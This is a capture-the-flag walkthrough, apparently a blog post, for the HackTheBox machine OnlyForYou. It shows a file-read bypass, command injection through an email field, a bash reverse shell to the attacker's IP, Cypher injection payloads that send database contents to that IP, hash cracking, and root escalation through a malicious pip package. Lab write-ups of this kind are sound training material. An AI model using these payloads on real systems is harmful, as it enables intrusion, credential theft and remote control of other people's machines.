HackTheBox — OnlyForYou

ARZ101
6 min readAug 24, 2023

OnlyForYou, a medium rated machine involved enumerating vhost to find an application which gives us the ability to download the source which was vulnerable to LFR (Local File Read) which leads to reading nginx config to find the root directory of the application and reading the source code of the main domain which was vulnerable to command injection and giving us a shell as www-data, port forwarding an internal application which was vulnerable to cypher injection , allowing us to retrieve john’s password and then escalating to root by exploiting pip3 to download a malicious package from the internal gogs application.

NMAP

Nmap scan report for 10.10.11.210
Host is up (0.12s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e883e0a9fd43df38198aaa35438411ec (RSA)
| 256 83f235229b03860c16cfb3fa9f5acd08 (ECDSA)
|_ 256 445f7aa377690a77789b04e09f11db80 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://only4you.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

PORT 80 (HTTP)

Visiting the webserver, it redirects to only4you.htb

After adding the domain name we can access the site

The site is just a template, fuzzing for files using gobuster doesn't yield anything

Fuzzing for sub domains reveals that there’s a beta domain

wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u 'http://only4you.htb' -H "Host: FUZZ.only4you.htb" --hh 178

From here we can download the source code

Looking at app.py we can spot Local File Read (LFR) where it's checking if the file name starts with .. or with ../

This can be bypassed by starting the file name with / and reading any local files with in the context of www-data user

curl -X POST 'http://beta.only4you.htb/download' -d "image=/etc/passwd"

We can try reading default nginx config file

We can read the source code of only4you.htb site

It’s using sendmessage function from form.py

curl -X POST 'http://beta.only4you.htb/download' -d "image=/var/www/only4you.htb/form.py"

From this function we can see that it’s using sub process to run dig txt domain (from the email), it's using regex to validate the email part

This can be bypassed by providing the input so that it validates the regex and inject the command with ; so that it runs our injected command with dig i.e dig txt uwu.com; curl 10.10.14.92

So our email parameter should be like this

email=test@uwu.com;curl+10.10.14.92

Getting a shell by creating a sh script on our machine with a bash reverse shell payload, making the server download our script and executing it by piping it to bash

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.92/2222 0>&1

Checking the local ports with ss -tulpn, there's port 8001 running on which there's a login page

With chisel we can port forward this port

chisel client 10.10.14.92:3333 R:localhost:8001
chisel server -p 3333 --revers

With default credentials, admin:admin we can login

Privilege Escalation (john)

From the dashboard, we can see few tasks and out of these tasks there’s one about migrating database to neo4j which is a graph database

Checking the /employees page we can search for an emplyoee

Since it’s using neo4j as from those tasks, it uses cypher query which is a query to retrieve data from graph as neo4j is a graph database

' OR 1=1 WITH 1 as a  CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.14.92/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //

To list the labels from neo4j database

' OR 1=1 WITH 1 as a CALL db.labels() YIELD label LOAD CSV FROM 'http://10.10.14.92/?'+label AS b RETURN b//

This query will give us 2 labels or tables in response which is user and employee

Now we need to extract the property or the value from user label

' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.92/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //

Cracking these two sha-256 hashes, we’ll be able to use john’s hash to switch to john user on the machine

john --wordlist=/usr/share/wordlists/rockyou.txt ./hash.txt --format=Raw-SHA256

From john, we can run sudo -l showing that pip3 can be executed as root user which will download any .tar.gz file from local port 3000 (this can be accessed through port forwarding the same way we did for port 8001, on this port there's an instance of gogs already running which like gitea or github

chisel client 10.10.14.92:3333 R:localhost:3000

From Explore we see two users, admin and john, we can use john's creds to login

Following this article for creating a pip package which will execute on download where you can execute commands as root user, here we can just make bash a SUID or get a reverse shell

After building the pip package, upload it to the Test repo

Go to the settings and make sure to make the repo public

Now run the command to download the pip package with sudo

sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/Test/raw/master/exploitpy-0.0.1.tar.gz

References

--

--